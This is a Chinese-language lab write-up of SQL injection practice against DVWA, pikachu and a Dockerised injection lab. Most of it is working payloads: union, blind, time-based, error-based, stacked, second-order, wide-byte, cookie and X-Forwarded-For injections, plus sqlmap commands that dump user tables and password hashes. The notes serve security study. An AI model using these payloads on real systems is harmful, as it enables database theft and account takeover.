赞
踩
- vince' and 1=1 # #永对
- vince' and 1=2 # #永错
当 1=1 和 1=2 回显不一样时候就证明有注入漏洞
vince' order by 2 # #如果3的话就会报错,因为没那么多列1,2都没事
- vince' union select user(),database()#
- #这里会回显用户名和数据库名
vince' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
group_concat() 把表名连成字符串,information_schema是一个库,里面有数据库的信息。库里面的tables 表字段 TABLE_SCHEMA 、TABLE_NAME 分别记录着库名和表名。
vince' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
columns表存放列名的
vince' union select 1,group_concat(username,password) from users#
-aaa' union select 1,group_concat(username,password) from users#
这样的话前面用户就不用回显,看的清楚些
点击选择要发送HTTP请求
选择Configure item, 在弹出的界面中找到’Custom parameter locations in response’区域,然后点击右侧的 Add按钮
在弹出的窗口中,首先给要截取得参数值命名,这里叫做user_token ,然后用鼠标选择我们要截取的内容,这里就把token的值选取了即可,如果出现如下界面就表示OK了
点击Add 按钮,在弹出的界面中找到Rules Action区域,点击下方的Add按钮,在弹出的下拉列表中选择Run as Macros
按照以下配置 ,要把Macro1 选上
点ok返回上一个页面
设置在域名为http://192.168.130.194/的情况下用这个宏
成功
这里就不重复了,最后查出用户名和密码
盲注的意思就是只会回显对或者不对0或者1
这里用新的姿势
1' and sleep(3) #
延迟了3秒才回显,所以判断是可以注入的
在判断数据库名之前,得先知道数据库长度
- 1' and if(length(database())=3,1,0)#
- #如果length(database())=3则返回1,否则返回0
当1' and if(length(database())=4,1,0)#时有正确回显所以数据库长度为4
一个一个试字母
- 1' and if(substring(database(),1,1)='a',1,0)#
- #截取数据库名的第一个字母,判断是否 = a,如果当前数据库的名称以字母"a"开头,则返回1;否则返回0。
发现数据库名的第一个字符不是a
这里直接拿burpsuite来爆破
设置变量1
把数据库常见字符导出为一个名为1.txt的字典,设置为变量2,
- s = input("请输入字符串:")
-
- with open("1.txt", "w") as f:
- for c in s:
- f.write(c + "\n")
-
- #0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.@_把数据库常见字符导出为一个名为1.txt的字典
爆破出结果,数据库名为dvwa
- 1'and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1),1,1)='g',1,0) #
- #limit 1 返回第一条结果,substring((),1,1)返回第一个字符。if(()='g',1,0)如果返回值==g返回1,否则返回0
一般表名不会超过40
得到表名guestbook和users
- 1'and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1,1),1,1)='u',1,0) #
- #从名为"users"的表中的第一列中选择第1个字符,并将其与字母"u"进行比较。如果第1个字符是"u",则返回1;否则,返回0。
列数和列名的长度就猜1~10和1~20就好
我这太慢了,直接说有用的列名,user,0x3a,PASSWORD
1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1),1,1)='a',1,0)#
设置1~100之间
最后整理结果得出 admin:5f4dcc3b5aa765d61d8327deb882cf99
- 1' and info() #
- #报错显示数据库没有这个函数的时候会把数据库名显示出来
- 1'and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) #
-
得到数据库名为dvwa
获取账号和密码需要 root 用户才有足够大的权限
updatexml只能显示31位,这里得到: 6BB4837EB74329105EE4568DDA7DC6
1' and updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user limit 1 )),0x7e),1) #
后几位: 7ED2CA2AD9
所以密码为 “6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9”
1' and (updatexml(1,concat(0x7e,(select (substring((select authentication_string from mysql.user limit 1),32,40))),0x7e),1)) #
通过 mysql 内置库 information_schema 通过构造 SQL 语句查询获取表名
采用 floor 报错并不会存在长度问题
查询第一个表名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) #
将 LIMIT 0,1 改成 1,1 表是第二个表名
在获取表名之后就可以获取字段名,如获取 usrs 的字段名
获取第一个字段名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2
获取第二个字段名 将 LIMIT 0,1 改成 1,1
一个一个看有点麻烦,这里我们放去爆破
在Grep - Extract 模块过滤出字段名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) #
经获取 users 表的名字和它的字段名
和上一小结一样爆破
得到所有用户名和密码
- vince' and+if(length(database())>1,sleep(5),0)#
- 加号的意思是连接字符
5秒后回显,说明存在时间注入
在页面中分析源码 直接获取 name 带进数据库进行查询,但是是否存在记录页面返回都一样
在黑盒模式下可以使用 sqlmap 对注入检测。sqlmap 支持多种数据库注入,而且支持多种注入方式
sqlmap -u "http://192.168.244.194/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T
下面那个框说扫出来有时间注入
sqlmap -u "http://192.168.244.194/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --current-user --current-db --batch
获取表 -D 指定数据库 --tables 获取表
sqlmap -u "http://192.168.244.194/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu --batch
在 sqlmap --columns 获取字段 -T 某个表
sqlmap -u "http://192.168.244.194/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --columns -T users -D pikachu --batch
sqlmap -u "http://192.168.244.194/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --dump -C "id,username,password" -T users -D pikachu --batch
这工具很智能
堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特 点,在第二条语句中构造要执行攻击的语句。
成功启动了一个名为sqli的docker容器,该容器映射了主机的7766端口到容器的80端口。此外,您还列出了所有的容器,包括sqli以及两个已经退出的容器eager_chatelet和lkwa。
该应用程序接收一个名为id的GET参数,并尝试从名为users的数据库表中检索相关用户信息。但是没过滤
1' and 1=2#和1' and 1=1#回显不同,所有存在注入
-1' union select 1,1,1#
-1' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)#
-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='users' limit 1)#
-1';insert into users(id,username,password)values(1111,'nangua','1111')#
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 暗月内部文档 请勿外出 51 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是 addslashes 有一个特点就是虽然参数在过滤 后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数 据。 在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接 从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。比如在第一次 插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就 形成了二次注入.
注册一个账号为xyckg密码为12345
再注册一个账号为xyckg'#密码为111
用xyckg'#账号登录
修改xyckg'#账号的密码为999
发现xyckg账号的密码被修改为999
并利用这密码登录成功
mysql_escape_string 函数会将特殊字符进行过滤 如' 经过转义就成了\' 然后用 insert into 存入在数 据库中。 在 login.php 查看源码 登录获取用 mysql_escape_string 对输入的参数进行转义 转义之后在数据库中查找指定的账号和密码 再传入到 session 里
在看 pass_change.php
$_SESSION['username'] 复制给$username 无任何过滤再带入 UPDATE 语句中造成注入。整个流程就是注册 用户,更改密码时会触法注入。可以看到二次注入笔记隐蔽。通常发生在更改,需要二次带入数据时提交 的功能里。
所以上面的xyckg'#传入数据库后,被储存在session中。在更改密码时候,因为没有对session里的用户名过滤。导致传上去的sql语句为"UPDATE users SET PASSWORD='$pass wherer username='xyckg'#' and password='$curr_pass'" 从而修改了xyckg的密码
关机后要重启容器sqli才可以重新访问靶场
sudo docker restart sqli
宽字节注入原理
%df%27===(addslashes)===>%df%5c%27===(数据库 GBK)===>運'
这样就能把%27(')准确的拿进数据库里擦寻了
- -1%df%27%20or%20sleep(3)--+
- #时延注入
-1%df%27%20and%201=1--+ 页面是否存在乱码 -1%df%27%20or%20sleep(10)--+ 页面是否存在延时 均可以测试存在宽字节注入
-1%df%27%20or%20and1=1--+
-1%df'%20union%20select%201%2c2%2cgroup_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3ddatabase()%23
- -1%df'%20union%20select%201%2c2%2cgroup_concat(column_name)%20from%20information_schema.columns%20where%20table_name%3dCHAR(117%2c115%2c101%2c114%2c115)%23
后面table_name = 'users'那里''绕不过去,加%df的话会报错。所以用
CHAR()
函数来转换字符串 "users" 的每个字符的 ASCII 值。具体来说,我将 "users" 分别转换为 ASCII 值 117, 115, 101, 114, 115,并将它们作为参数传递给CHAR()
函数。来自gpt的天才想法
-1%df'%20union%20select%201%2c2%2cgroup_concat(username%2cpassword)%20from%20users%23
和get注入一样,如果用cookie传递变量,但是没有过滤的话就会产生注入漏洞
可以看到名为uname的变量通过cookie传递
所以我们添加一个cookie
跟着跳转一下
回显不同发现是存在注入的
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()#
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
-1'union select 1,2,group_concat(username,password) from users#
这里的cookie经过了base64编码admin变成了YWRtaW4%3D
而且输入框输入的用户名和密码经过了过滤
所以只能把注入语句进行base64编码再渗透
回显不同,存在注入
因为源代码里面cookie是被()和''括起来的所以注入的时候要admin')
"X-Forwarded-For"(XFF)是一个常见的 HTTP 请求头字段,用于指示客户端的原始 IP 地址。它通常在代理服务器或负载均衡器等中间设备上使用,以便将客户端的真实 IP 地址传递给后端服务器。
源代码在此
从客户端拿到ip的值,没经过过滤就拿去数据库擦寻
所以是存在注入的
要在请求头写这个httpxff
回显不同存在注入
有4列
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。